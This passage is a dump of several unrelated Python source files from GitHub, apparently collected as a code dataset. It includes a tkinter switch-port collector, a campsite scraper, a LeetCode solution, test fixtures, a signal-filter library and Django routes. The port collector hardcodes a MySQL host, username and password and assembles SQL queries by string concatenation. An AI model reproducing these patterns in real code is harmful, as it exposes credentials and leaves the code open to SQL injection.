__init__(self,wnd,ms,call):\n \"\"\" tkinter窗口定时执行某函数\n\n :param wnd: tkinter窗口\n :param ms: 重复执行间隔时间(毫秒)\n :param call: 重复执行的函数\n \"\"\"\n self.__wnd = wnd\n self.__ms = ms\n self.__call = call\n self.__running = False\n\n def start(self):\n if not self.__running:\n self.__wnd.after(0,self.__on__timer)\n self.__running = True\n\n def stop(self):\n if self.__running:\n self.__running = False\n\n def is_running(self):\n return self.__running\n\n def __on__timer(self):\n if self.__running:\n self.__call()\n self.__wnd.after(self.__ms,self.__on__timer)\n\n\n# 连接数据路\ndef get_conn():\n return pymysql.Connect(\n host='192.168.250.3',\n port=3307,\n user='sxgdwl',\n password='13515990222',\n database='Net_work',\n charset='utf8'\n )\n\n\n# 查询表\ndef query_data(sql):\n conn = get_conn()\n try:\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n cursor.execute(sql)\n return cursor.fetchall()\n finally:\n conn.close()\n\n\n# 根据oid获取网口状态(是否在线、光功率)\n\n\n\n# 插入或更新mysql数据库\ndef insert_or_update_data(sql):\n conn = get_conn()\n try:\n cursor = conn.cursor()\n cursor.execute(sql)\n conn.commit()\n finally:\n conn.close()\n\n\n# 从Mysql获取端口数据\ndef get_port_data():\n text_log.delete(1.0, 'end')\n text_log.insert('end', '开始刷新数据******' + '\\n')\n sql = 'select * from host'\n datas = query_data(sql)\n lendata = len(datas)\n for i in range(lendata):\n datass = datas[i]\n host_id = datass['host_id']\n host_name = datass['host_name']\n # print(host_id)\n sql = 'SELECT * from host_port WHERE host_id = ' + str(host_id)\n host_oid_date = query_data(sql)\n lenhost_oid_date = len(host_oid_date)\n for ii in range(lenhost_oid_date):\n oid_date = host_oid_date[ii]\n port_oid = oid_date['port_oid']\n port_name = oid_date['port_name']\n port_date = snmpget(port_oid)\n port_starte = port_date[0][1]\n port_rx_power = port_date[1][1]\n # 取mysql格式当前时间\n log_time = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n if port_starte == 1:\n upsql = \"update host_port SET port_state = '\" + str(port_starte) + \"',port_rx_power = '\" + str(port_rx_power) + \"',log_time = '\" + str(log_time) + \"' WHERE port_oid = '\" + str(port_oid) + \"'\"\n insert_or_update_data(upsql)\n insql = \"INSERT INTO host_log (host_name,host_id,log_time,port_name,post_oid,port_rx_power,port_state) VALUES ('\" + host_name + \"','\" + str(host_id) + \"','\" + str(log_time) + \"','\" + port_name + \"','\" + str(port_oid) + \"','\" + str(port_rx_power) + \"','\" + str(port_starte) + \"')\"\n insert_or_update_data(insql)\n else:\n upsql = \"update host_port SET port_state = '\" + str(port_starte) + \"',log_time = '\" + str(log_time) + \"' WHERE port_oid = '\" + str(port_oid) + \"'\"\n insert_or_update_data(upsql)\n insql = \"INSERT INTO host_log (host_name,host_id,log_time,port_name,post_oid,port_state) VALUES ('\" + host_name + \"','\" + str(host_id) + \"','\" + str(log_time) + \"','\" + port_name + \"','\" + str(port_oid) + \"','\" + str(port_starte) + \"')\"\n insert_or_update_data(insql)\n print_text = str(log_time) + '|' + str(port_oid) + '|' + str(port_starte) + '|' + str(port_rx_power)\n text_log.insert('end',print_text + '\\n')\n\n\ndef get_data_threading():\n thread = threading.Thread(target=get_port_data)\n thread.start()\n\n\ndef start_get_oid():\n btn_start.config(state='disabled')\n btn_stop.config(state='normal')\n time_js.start()\n\n\ndef stop_get_oid():\n btn_start.config(state='normal')\n btn_stop.config(state='disabled')\n time_js.stop()\n\n\n# 关闭窗口时弹出选项\ndef close_window():\n ans = askyesno(title='警告', message='真的要关闭窗口?')\n if ans:\n global stop_perform\n stop_perform = 1\n root.destroy()\n else:\n return\n\n\nroot = tkinter.Tk()\nroot.title('交换机OID采集器')\nroot.geometry('400x600')\nroot.iconbitmap('123.ico')\ntime_js = Timer(root,10000,get_data_threading)\nbtn_start = tkinter.Button(root, text='开始采集', command=start_get_oid)\nbtn_start.place(x=10, y=10)\nbtn_stop = tkinter.Button(root, text='停止采集',state='disabled',command=stop_get_oid)\nbtn_stop.place(x=75, y=10)\ntext_log = tkinter.Text(root,width=53,height=41)\ntext_log.place(x=10, y=50)\nroot.protocol(\"WM_DELETE_WINDOW\", close_window)\nroot.mainloop()\n\n\n","repo_name":"qiu18/net_work","sub_path":"net_work.py","file_name":"net_work.py","file_ext":"py","file_size_in_byte":5097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22466765214","text":"from bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport datetime\nimport time\nimport re\n\nclass CampScanner:\n \n def __init__(self, facilityID, startDate, endDate):\n self._CAMPGROUND_URL = \"https://www.recreation.gov/camping/campgrounds/\"\n self._SITE_URL = \"https://www.recreation.gov/camping/campsites/\"\n self._facilityID = facilityID\n self._startDate = startDate\n self._endDate = endDate\n self._endDateTimeObj = self._convertStrDate(self._endDate)\n self._startDateTimeObj = self._convertStrDate(self._startDate)\n self._siteList = []\n\n def scanCampsite(self, siteNumber):\n self._verifyDates()\n isAvailable = False\n webdriver = self._setUpDriver(siteNumber)\n html = webdriver.page_source\n webdriver.quit()\n soup = BeautifulSoup(html, 'html.parser')\n bookingBtn = soup.find(id='add-cart-campsite').span.span.string\n if str(bookingBtn).find(\"Booking\") != -1:\n isAvailable = True\n\n return isAvailable\n\n # scans through campsites in 10 day date range\n # TODO: add ability to scan for longer date ranges. Would need to automate browser to\n # click 'next 5 days' element\n def scanCampground(self):\n self._verifyDates()\n webDriver = self._setUpDriver(None)\n html = webDriver.page_source \n\n print(\"Closing WebDriver...\")\n webDriver.quit()\n soup = BeautifulSoup(html, 'html.parser')\n availSitesStrs = soup.find_all(\"td\", \"available\")\n \n # iterate through each button returned by BeautifulSoup that represents\n # an available site and parse out the site info (date & site number) \n availSiteStrList = list()\n\n for site in availSitesStrs:\n s = site.find('button')\n ariaLabelStr = str(s)\n siteDict = ariaLabelStr.split('\"')\n\n availDate = self._convertLabel(siteDict[1]) \n isValidDate = self._checkDateRange(availDate, self._startDateTimeObj, self._endDateTimeObj)\n \n if isValidDate == True:\n availSiteStrList.append(siteDict[1]) # index 1 holds the data we want\n \n if availSiteStrList:\n self._createAvailabilityList(availSiteStrList)\n \n def _createAvailabilityList(self, availSiteStrList):\n tmpList = [None] * 200\n # this will be used to ensure that a notfication is only sent if sites are available \n # for each day specified by the user. \n lengthOfStay = self._endDateTimeObj.day - self._startDateTimeObj.day + 1\n\n # parse out \"site X is available\" strings and turn into \n # workable datetime objects\n for siteStr in availSiteStrList:\n splitStr = re.findall(r'\\s|,|[^,\\s]+', siteStr)\n month = self._monthToNum(splitStr[0])\n day = int(splitStr[2])\n year = int(splitStr[5])\n site = int(splitStr[11])\n\n dateAvailable = datetime.date(year, month, day)\n # mapping an index in the list to the current site\n if tmpList[site] is None:\n tmpList[site] = [site]\n tmpList[site].append(dateAvailable)\n # if the index already contains the corresponding site, we just add the date its available\n else:\n tmpList[site].append(dateAvailable)\n # Create a final list with only the sites that are actually available, i.e., ignore all indexes with\n # sites that are not available during the date range specified by user, and ignore indexes that are empty\n for campsite in tmpList:\n if campsite and len(campsite) - 1 == lengthOfStay:\n self._siteList.append(campsite)\n\n def _setUpDriver(self, siteID):\n print(\"Setting up WebDriver...\")\n # get firefox options to enable headless firefox\n firefoxOptions = Options()\n firefoxOptions.headless = True\n driver = webdriver.Firefox(options = firefoxOptions) # change to whichever supported browser you are using.\n actions = ActionChains(driver)\n # if a siteID was passed, tailor selenium driver for the general campground availability page\n if siteID is not None:\n driver.get(self._SITE_URL + siteID)\n startDateElem = driver.find_element_by_id(\"startDate\")\n endDateElem = driver.find_element_by_id(\"endDate\")\n bannerElem = driver.find_element_by_class_name(\"rec-hero-body\")\n \n print(\"Executing headless WebDriver...\")\n actions.send_keys_to_element(startDateElem, self._startDate)\n actions.send_keys_to_element(endDateElem, self._endDate)\n actions.click(bannerElem)\n actions.perform()\n # check if user entered a date range. If they did, automate entry of those\n # dates and search for available spots \n elif self._startDate != None and self._endDate != None:\n driver.get(self._CAMPGROUND_URL + self._facilityID)\n startDateElem = driver.find_element_by_id(\"startDate\")\n endDateElem = driver.find_element_by_id(\"endDate\")\n bannerElem = driver.find_element_by_class_name(\"rec-hero-body\")\n viewByAvailElem = driver.find_element_by_id(\"campground-view-by-avail\")\n \n actions.send_keys_to_element(startDateElem, self._startDate)\n actions.send_keys_to_element(endDateElem, self._endDate)\n actions.click(bannerElem)\n actions.click(viewByAvailElem)\n actions.perform()\n # if no date range was entered, simply return default page, which displays\n # availability from current date forward \n else: \n driver.get(self._CAMPGROUND_URL + self._facilityID + \"/availability\")\n\n # TODO: fix webdriverwait for slower connections\n # wait until the availability table is present before returning the driver\n try:\n wait = WebDriverWait(driver, 60).until(EC.presence_of_all_elements_located)\n except:\n print(\"Exceeded WebDriverWait time.\")\n\n return driver\n\n def _checkDateRange(self, availDate, startDate, endDate):\n # check that the date is not less than or greater than the start and\n # end date\n if availDate >= startDate and availDate <= endDate:\n return True\n else:\n return False\n\n # parse the availabilty date out of the aria-label string in html\n # and convert into a datetime object\n def _convertLabel(self, label):\n sl = re.split('\\W+', label)\n month = int(self._monthToNum(sl[0]))\n day = int(sl[1])\n year = int(sl[2])\n convertedDate = datetime.date(year, month, day)\n return convertedDate\n\n # convert start or end date to a datetime object\n def _convertStrDate(self, date):\n sd = date.split('/')\n month = int(sd[0])\n day = int(sd[1])\n year = int(sd[2])\n convertedDate = datetime.date(year, month, day)\n return convertedDate\n\n def _monthToNum(self, month):\n switch = {\n \"Jan\" : 1,\n \"Feb\" : 2,\n \"Mar\" : 3,\n \"Apr\" : 4,\n \"May\" : 5,\n \"Jun\" : 6,\n \"Jul\" : 7,\n \"Aug\" : 8,\n \"Sep\" : 9,\n \"Oct\" : 10,\n \"Nov\" : 11,\n \"Dec\" : 12,\n }\n return switch.get(month, 0) # if 0 is returned, month is invalid\n\n def _verifyDates(self):\n # check that dates entered are valid\n today = datetime.date.today()\n\n if today > self._startDateTimeObj:\n raise ValueError(\"Invalid start date. Date cannot be less than current date \")\n elif self._startDateTimeObj == self._endDateTimeObj:\n raise ValueError(\"Check-out date cannot be the same as check-in date \")\n else:\n print(\"Dates validated...\")\n\n def getAvailableCampSites(self):\n return self._siteList\n\n def getEndDate(self):\n return self._endDateTimeObj\n\n","repo_name":"campPW/CampFinder","sub_path":"CampScanner.py","file_name":"CampScanner.py","file_ext":"py","file_size_in_byte":8434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70579744107","text":"# leetcode_5 回文\n# 最长的回文子串\n# 给定一个字符串 s,找到 s 中最长的回文子串。你可以假设 s 的最大长度为1000。\n\nclass Solution:\n def longestPalindrom_1(self, s: str)->str:\n \"\"\"\n 滑动循环的方法,\n 设置一个滑动窗口(从len(s)开始并递减)。\n 滑动窗口遍历字符串,取到子串,并得到逆字符串,\n 如果子串和逆子串相等,就是回文子串。\n 简单容易记\n :param str:\n :return:\n \"\"\"\n win_size = len(s)\n while True:\n index = 0\n while index + win_size <= len(s):\n little_str = s[index: index+win_size]\n inverse_str = little_str[::-1]\n if little_str == inverse_str:\n return little_str\n index = index + 1\n win_size = win_size - 1\n\n def longestPalindrom_2(self, s:str)->str:\n \"\"\"\n 动态规划\n 从头到尾扫描字符串,字符i,\n 然后判断以字符i结尾,且长度是maxlen+1和maxlen+2的子串是不是回文(+1和+2是奇数串和偶数串)\n 如果是,更新最大回文子串。\n maxlen表示当前最大回文串的长度\n start表示回文开始的位置,start=i-maxlen或i-maxlen-1\n 注意 s[0:3], 输出的是s0,s1,s2\n :param s:\n :return:\n \"\"\"\n max_len = 0\n start = 0\n for i in range(len(s)):\n if i - max_len >= 1 and s[i-max_len-1: i+1] == s[i-max_len-1: i+1][::-1]:\n start = i - max_len - 1\n max_len = max_len + 2\n continue\n if i - max_len >= 0 and s[i-max_len: i+1] == s[i-max_len: i+1][::-1]:\n start = i - max_len\n max_len = max_len + 1\n return s[start: start+max_len]\n\n\nsol = Solution()\nprint(sol.longestPalindrom_2('abcddc'))\nprint(sol.longestPalindrom_2('cbbd'))\n","repo_name":"liying123456/python_leetcode","sub_path":"string/5_longestPalindrome.py","file_name":"5_longestPalindrome.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72192209387","text":"import asyncio\nfrom contextlib import suppress\nimport sys\n\n# https://stackoverflow.com/questions/54895002/modulenotfounderror-with-pytest\nfrom loguru import logger\n\nsys.path.append(\".\")\n\nimport pytest\nfrom httpx import AsyncClient\nfrom sqlalchemy import text\nfrom sqlalchemy.exc import ProgrammingError\nfrom sqlalchemy.ext.asyncio import AsyncSession, create_async_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom src.core.config import _get_settings\nfrom src.core.main import app\nfrom src.db.connection import DeclarativeBase, get_session\n\n# чтобы миграции увидели все модели\nfrom src.db.models import *\n\nsettings = _get_settings(debug=True)\n\n\nengine = create_async_engine(settings.test_db_dsn)\nSessionTesting = sessionmaker(\n autocommit=False, autoflush=False, bind=engine, class_=AsyncSession\n)\n\n\n# https://github.com/pytest-dev/pytest-asyncio/issues/68\n@pytest.fixture(scope=\"session\")\ndef event_loop():\n loop = asyncio.get_event_loop_policy().new_event_loop()\n yield loop\n loop.close()\n\n\n@pytest.fixture(scope=\"session\")\nasync def create_test_db() -> None:\n root_engine = create_async_engine(settings.test_db_url)\n async with root_engine.begin() as conn:\n await conn.execute(text(\"commit;\"))\n with suppress(ProgrammingError):\n await conn.execute(\n text(f\"create database {settings.test_db_name};\")\n )\n\n\n@pytest.fixture(scope=\"session\", autouse=True)\nasync def migrations(create_test_db) -> None:\n \"\"\"\n Create a fresh database on each test case.\n \"\"\"\n async with engine.begin() as conn:\n await conn.run_sync(DeclarativeBase.metadata.create_all)\n yield\n async with engine.begin() as conn:\n await conn.run_sync(DeclarativeBase.metadata.drop_all)\n\n\n@pytest.fixture()\nasync def session() -> SessionTesting:\n connection = await engine.connect()\n transaction = await connection.begin()\n session = SessionTesting(bind=connection)\n yield session\n await session.close()\n await transaction.rollback()\n await connection.close()\n\n\n@pytest.fixture()\nasync def client(session: SessionTesting) -> AsyncClient:\n \"\"\"\n Create a new FastAPI TestClient that uses the `db_session` fixture to override\n the `get_db` dependency that is injected into routes.\n \"\"\"\n\n async def _get_session() -> AsyncSession:\n yield session\n\n app.dependency_overrides[get_session] = _get_session\n async with AsyncClient(app=app, base_url=\"http://test\") as client:\n yield client\n","repo_name":"bogdangarmaev/fastapi-template","sub_path":"src/integration_tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35053008842","text":"\nimport numpy as np\nimport scipy as sp\nimport matplotlib.pyplot as plt\n\nfrom abc import ABC, abstractmethod, ABCMeta\n\nfrom polyphaseFilter.filterFactory import IIR_Halfband_PolyphaseFilter\nfrom polyphaseFilter.filterFactory import IIR_NthBand_PolyphaseFilter\nfrom polyphaseFilter.filterFactory import utilities\nfrom polyphaseFilter.filterFactory import filter\n################################################################################\nclass PolyphaseFilter(metaclass=ABCMeta):\n '''\n This polyphase filter class provides the api for the different types of avail-\n able polyphase filter (IIR/FIR).\n '''\n\n def __init__(self,L):\n self._L = L\n return\n\n @abstractmethod\n def process(self, input, **kwargs):\n pass\n\n @property\n @abstractmethod\n def gd(self):\n pass\n\n################################################################################\nclass IIR_polyphaseFilter(PolyphaseFilter):\n '''\n This class defines polyPhaseFilter for a given interpolation/decimation\n factor. Additionally, it provides a prefilter which can be used to adjust the\n cutoff frequency of the IIR polyphase filter.\n '''\n\n def __init__(self, L, wc=None):\n '''\n This function initializes the class instance.\n\n Parameter:\n __________\n L: Interpolation/Decimation factor\n wc: Normalized circular cutoff frequency\n '''\n super().__init__(L)\n #Initialize prototype filter (used for prefilter and for polyphase block)\n wp = 0.4*np.pi\n As = 90\n b, a = IIR_Halfband_PolyphaseFilter.EMQF_Halfband_filter(wp, As, False, False)\n self._prototype_b = b\n self._prototype_a = a\n\n #Initialize prefilter\n self._preFilter = False\n self._aa_branch0, self._aa_branch1, self._aa_branch1_delayTF = None, None, None\n if wc != None:\n self._preFilter = True\n b, a, delayTF = IIR_Halfband_PolyphaseFilter.adjust_EMQF_halfband_filter(b,a,wc,False,False)\n self._aa_branch0 = filter.Filter(b[0],a[0]) #1. Branch of EMQF halfband filter\n self._aa_branch1 = filter.Filter(b[1],a[1]) #2. Branch of EMQF halfband filter\n self._aa_branch1_delayTF = filter.Filter(delayTF[0],delayTF[1]) #Transformed delay element of 2. Branch\n\n #Initialize EMQF Polyphase Filter (if L = 1 --> empty polyphase filter block)\n self._pp_filters0 = []\n self._pp_filters1 = []\n if self._L != 1:\n assert np.ceil(np.log2(L)) == np.floor(np.log2(L)), \"Interpolation factor must be power of 2 and greater than 1!\"\n self._subL = 2\n Nstages = int(np.round(np.log2(L),1))\n\n self._pp_filters0 = [filter.Filter(self._prototype_b[0][::2],self._prototype_a[0][::2]) for i in range(Nstages)] #1. Branch of EMQF halfband filter\n self._pp_filters1 = [filter.Filter(self._prototype_b[1][::2],self._prototype_a[1][::2]) for i in range(Nstages)] #2. Branch of EMQF halfband filter\n\n\n #Determine group delay\n nPrototype = len(self._pp_filters0) #number of used prototype filters\n if self._preFilter:\n nPrototype += 1\n\n self._gd = nPrototype * IIR_Halfband_PolyphaseFilter.groupDelay(self._prototype_b, self._prototype_a, 'av')\n\n return\n\n def process(self, input):\n '''\n This function filters the given input samples by the prefilter if instantiated and the polyphase filter block.\n\n Parameters:\n ___________\n input: To be filtered input samples\n '''\n\n #Apply prefilter\n B = len(input)\n output = np.zeros((B*self._L))\n if self._preFilter:\n output[::self._L] = 0.5*( self._aa_branch0.process(input) + self._aa_branch1.process(self._aa_branch1_delayTF.process(input)))\n else:\n output[::self._L] = input\n\n stride = self._L\n for filter0, filter1 in zip(self._pp_filters0, self._pp_filters1):\n stride //=self._subL\n output_ptr = output[::stride] #Note: Slicing is based on call by reference\n output_ptr[1::self._subL] = filter1.process(output_ptr[::self._subL]) #sets the inserted zeros\n output_ptr[::self._subL] = filter0.process(output_ptr[::self._subL]) #resets the given values\n\n return output\n\n def update_prefilter(self, wc):\n '''\n Update cutoff frequency of prefilter.\n\n Parameters:\n ___________\n wc: New normalized circular cutoff frequency\n '''\n\n assert self._preFilter == True, \"Prefilter not instantiated!\"\n\n b, a, delayTF = IIR_Halfband_PolyphaseFilter.adjust_EMQF_halfband_filter(self._prototype_b,self._prototype_a,wc,False,False)\n #fill new filter values into filter\n self._aa_branch0.b = b[0]\n self._aa_branch0.a = a[0]\n self._aa_branch1.b = b[1]\n self._aa_branch1.a = a[1]\n self._aa_branch1_delayTF.b = delayTF[0]\n self._aa_branch1_delayTF.a = delayTF[1]\n\n return\n\n @property\n def gd(self):\n return self._gd\n\n################################################################################\nclass FIR_polyphaseFilter(PolyphaseFilter):\n '''\n This class defines polyphase filter for a given interpolation/decimation\n factor. This polyphase filter is based on a FIR prototype filter.\n '''\n\n def __init__(self, L, wc, **kwargs):\n super().__init__(L)\n\n #prototype filter\n self._b_prototype = utilities.FIR_lowpass(wc=wc, **kwargs)\n #transform FIR filter into polyphase FIR filter\n b_poly = utilities.FIR_polyphase_filter(self._b_prototype,L)\n\n #initialize parallel filters:\n self._pp_filters = [filter.FIR_Filter(b_poly[i,:]) for i in range(L)]\n\n self._gd = utilities.FIR_filter_groupDelay(self._b_prototype, 'av')\n\n def process(self, input, switch=None):\n '''\n This function upsamples/downsamples the given input by using the underlying\n lowpass filter given in polyphase structure. If additionally switch boundaries\n are given the input is divided into subinput, where each subinput is mapped to\n one subfilter. If the number of switch boundaries is greater than the number of\n filters the mapping starts again from the beginning. This mode is used for inter\n polation. If no switch boundaries are given, the filters are running parallel.\n\n Parameters:\n ___________\n input: To be filtered input\n switch: Order of used filters [0,...,end]\n\n return:\n _______\n output: Processed samples\n '''\n\n if switch==None:\n output = np.zeros((self._L*len(input)))\n for i,filter in enumerate(self._pp_filters):\n output[i::self._L] = self._L*filter.process(input)\n else:\n output = np.zeros((len(input)))\n for start, end in zip(switch[0:-1],switch[1,:]):\n #get current filter state\n output[start:end] = self._pp_filters.process(input)\n\n return output\n\n @property\n def gd(self):\n return self._gd\n\n @property\n def b_prototype(self):\n return self._b_prototype\n\n\n\n################################################################################\nclass polyphaseFactory():\n @staticmethod\n def get_polyphaseFilter(polyphaseType, **kwargs):\n if polyphaseType=='FIR':\n #create FIR polyphase filter\n return FIR_polyphaseFilter(**kwargs)\n elif polyphaseType=='IIR':\n #create IIR polyphase filter\n return IIR_polyphaseFilter(**kwargs)\n else:\n raise Exception('Polyphase filter type not supported!')\n\n\n\n\n\n\n\n#%%\n","repo_name":"wniklas93/polyphaseFilter","sub_path":"polyphaseFilter/filterFactory/polyphaseFilter_api.py","file_name":"polyphaseFilter_api.py","file_ext":"py","file_size_in_byte":8062,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42061031805","text":"\"\"\"md_resume_test.py\n\nTests for md_resume.\n\"\"\"\nimport sys\nfrom unittest import mock\n\nimport md_resume\n\n\ndef test_convert_file(tmpdir):\n \"\"\"Tests a file conversion.\"\"\"\n md_file = tmpdir.join('markdown.md')\n md_file.write('''# hello world''')\n html = md_resume.convert_file(str(md_file))\n assert '

' in html\n assert 'hello world' in html\n assert '

' in html\n\n\ndef test_convert_css_from_dict():\n \"\"\"test dict to css conversion.\"\"\"\n css_dict = {\n 'p': {\n 'font-size': '2em',\n },\n 'h1': {\n 'font-size': '1em',\n 'color': 'red',\n },\n }\n css = md_resume.generate_css_from_dict(css_dict)\n assert css == 'p{font-size:2em;}h1{font-size:1em;color:red;}'\n\n\ndef test_add_css_to_html():\n \"\"\"test adding css.\"\"\"\n result = md_resume.add_css_to_html('a', 'b')\n assert result == 'a'\n\n\ndef test_convert_to_html(tmpdir):\n \"\"\"test convert_to_html().\"\"\"\n path_out = str(tmpdir.join('output.html'))\n file_in = tmpdir.join('in.md')\n file_in.write('''# hello world''')\n path_in = str(file_in)\n md_resume.convert_to_html(file_out=path_out, file_in=path_in, style={})\n\n\ndef test_convert_to_html_default_style(tmpdir):\n \"\"\"test convert_to_html().\"\"\"\n path_out = str(tmpdir.join('output.html'))\n file_in = tmpdir.join('in.md')\n file_in.write('''# hello world''')\n path_in = str(file_in)\n md_resume.convert_to_html(file_out=path_out, file_in=path_in)\n\n\ndef test_convert_to_html_no_dir(tmpdir):\n \"\"\"test convert_to_html().\"\"\"\n path_out = f'{tmpdir}/doesntexistyet/out.html'\n file_in = tmpdir.join('in.md')\n file_in.write('''# hello world''')\n path_in = str(file_in)\n md_resume.convert_to_html(file_out=path_out, file_in=path_in)\n\n\ndef test_convert_to_html_stylesheet(tmpdir):\n \"\"\"test convert_to_html() with a stylesheet.\"\"\"\n path_out = f'{tmpdir}/doesntexistyet/out.html'\n file_in = tmpdir.join('in.md')\n file_in.write('''# hello world''')\n path_in = str(file_in)\n stylesheet = tmpdir.join('style.css')\n stylesheet.write('.p {font-size: 10px}')\n md_resume.convert_to_html(\n file_out=path_out,\n file_in=path_in,\n stylesheet=str(stylesheet),\n )\n\n\n@mock.patch('md_resume.convert_to_html')\ndef test_main(mock_convert_to_html):\n \"\"\"Tests the argparsing of md_resume.\"\"\"\n sys.argv.clear()\n sys.argv.extend(['garbage', 'input', 'output', '--style', 'stylesheet'])\n md_resume.main()\n mock_convert_to_html.assert_called_with(\n file_in='input',\n file_out='output',\n stylesheet='stylesheet',\n )\n","repo_name":"yiwensong/resume","sub_path":"tests/md_resume_test.py","file_name":"md_resume_test.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"26811085717","text":"import rdflib\nimport sys\nimport os\n# add path for the owlrl module\nsys.path.append(os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))\nimport owlrl\n\n\ndef test_basic():\n # create an RDF graph, load a simple OWL ontology and data\n g = rdflib.Graph()\n try:\n g.parse('relatives.ttl', format='turtle')\n except FileNotFoundError:\n # This test might be run from the parent directory root\n g.parse('test/relatives.ttl', format='turtle')\n\n # run a simple SPARQL query against it, no inferencing, should find 15 results\n q = '''\n PREFIX : \n SELECT (COUNT(?s) AS ?cnt)\n WHERE {\n ?s a :Person .\n }\n '''\n for r in g.query(q):\n cnt = int(r[0])\n assert cnt == 15\n\n # run a SELECT query for grandParents, no inferencing, should find 0 results\n q = '''\n PREFIX : \n SELECT (COUNT(?gc) AS ?cnt)\n WHERE {\n ?gc :hasGrandparent ?gp .\n }\n '''\n for r in g.query(q):\n cnt = int(r[0])\n assert cnt == 0\n\n # expand the graph with OWL-RL semantics\n owlrl.DeductiveClosure(owlrl.OWLRL_Semantics).expand(g)\n\n # run a SELECT query for grandParents, should find 7 results\n q = '''\n PREFIX : \n SELECT (COUNT(?gc) AS ?cnt)\n WHERE {\n ?gc :hasGrandparent ?gp .\n }\n '''\n for r in g.query(q):\n cnt = int(r[0])\n assert cnt == 7\n","repo_name":"BastyZ/RDFPlayground","sub_path":"mimir/src/main/reasoner/owlrl/test/test_basic.py","file_name":"test_basic.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"37"} +{"seq_id":"21823535043","text":"from sage.all import *\n\noutput = \"\"\"\n(1842215985, 2774246364365481323465507413)\n(1249123618, 1275483289000670998751518159)\n\"\"\".lstrip('\\n').rstrip('\\n')\n\noutput = output.split('\\n')\noutput = [output[i].lstrip('(').rstrip(')').split(', ') for i in range(len(output))]\noutput = [[int(output[i][0]), int(output[i][1])] for i in range(len(output))]\n\nx = [output[i][0] for i in range(len(output))]\ny = [output[i][1] for i in range(len(output))]\n\n#mtx = Matrix([[pow(x[i], j) for i in range(len(x))] for j in range(len(y)+1)])\n\n#x = [1, 2, 3, 4, 5]\n\n\nprint('calc inv')\nmtrx = [[pow(x[_], j) % 1000000 for _ in range(len(x))] for j in range(1, len(y) + 1)]\nmtrx = Matrix(mtrx).inverse()\ny = vector(y)\n\nfor i in range(1, 10**6):\n temp = y-vector([i for _ in range(len(output))])\n\n if (i % 100 == 0):\n print(i)\n\n res = mtrx.solve_left(temp)\n #res = i\n #for j in range(0, len(y)):\n # res += (mtrx[j][0] * temp[j])\n\n print(res)\n\n if (mtrx * res == temp):\n print(i)\n break\n","repo_name":"frankiehuangg/CTFs","sub_path":"Writeups/Offline/Gemastik Preliminaries/k-1/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7596595945","text":"# project/urls.py\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom .views import *\nurlpatterns = [\n path('', landing_page, name='landing_page'),\n path('office//',office_detail, name='office-detail'),\n path('offices/', office_list, name='office_list'),\n path('houses/', house_list, name='house_list'),\n path('about/', about, name='about'),\n path('contact/', contact, name='contact'),\n path('house//', house_detail, name='house_detail'),\n path('apartments/', apartment_list, name='apartment_list'),\n path('apartment//',apartment_detail, name='apartment_detail'),\n # Add other URLs for your project\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"Schadrack2544/boninzu","sub_path":"mainapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38382970758","text":"import time\r\nfrom datetime import date\r\nimport sys\r\n\r\ndef advdpscalc():\r\n gunname = input(\"Please type in the name of the gun.\\n\")\r\n gundamhead = input(\"Please type in the damage value of a head shot.\\n\")\r\n gubdamheadint = int(gundamhead)\r\n gundamchest = input(\"Please type in the damage value of a chest shot.\\n\")\r\n gundamchestint = int(gundamchest)\r\n gundamstom = input(\"Please type in the damage value of a stomach shot.\\n\")\r\n gundamstomint = int(gundamstom)\r\n gundamextrem = input(\"Please type in the damage value of a limb shot.\\n\")\r\n gundamextremint = int(gundamextrem)\r\n fire = input(\"\"\" Will you be using incendiary ammo?\r\n 1. Yes\r\n 2. No\r\n \"\"\")\r\n fireint = int(fire)\r\n if fireint == 1:\r\n print(\"ok adding fire damage\")\r\n firedam = 12.4\r\n else:\r\n print(\"Ok no fire damage\")\r\n firedam = 0.00\r\n gunrpm = input(\"Please type in the gun's rpm.\\n\")\r\n gunromint = int(gunrpm)\r\n p = 0\r\n v = 100\r\n headp = input(\"What percentage of shots would you like to go to the head? DONT USE % just write 25 for 25%\\n\")\r\n headpint = int(headp)\r\n p += headpint\r\n v -= headpint\r\n if p > 100:\r\n print(\"You have added a number that exceeded to the total of 100% I will make it 25% automatically...\\n\")\r\n p -= headpint\r\n v += headpint\r\n p += 25\r\n v -= 25\r\n time.sleep(3)\r\n else:\r\n pass\r\n strv = str(v)\r\n chestp = input(\"You have \" + strv + \"% left to distribute what percentage of shots would you like to go to the chest?\\n\")\r\n chestpint = int(chestp)\r\n p += chestpint\r\n v -= chestpint\r\n strv =str(v)\r\n\r\n if p > 100:\r\n print(\"You have added a number 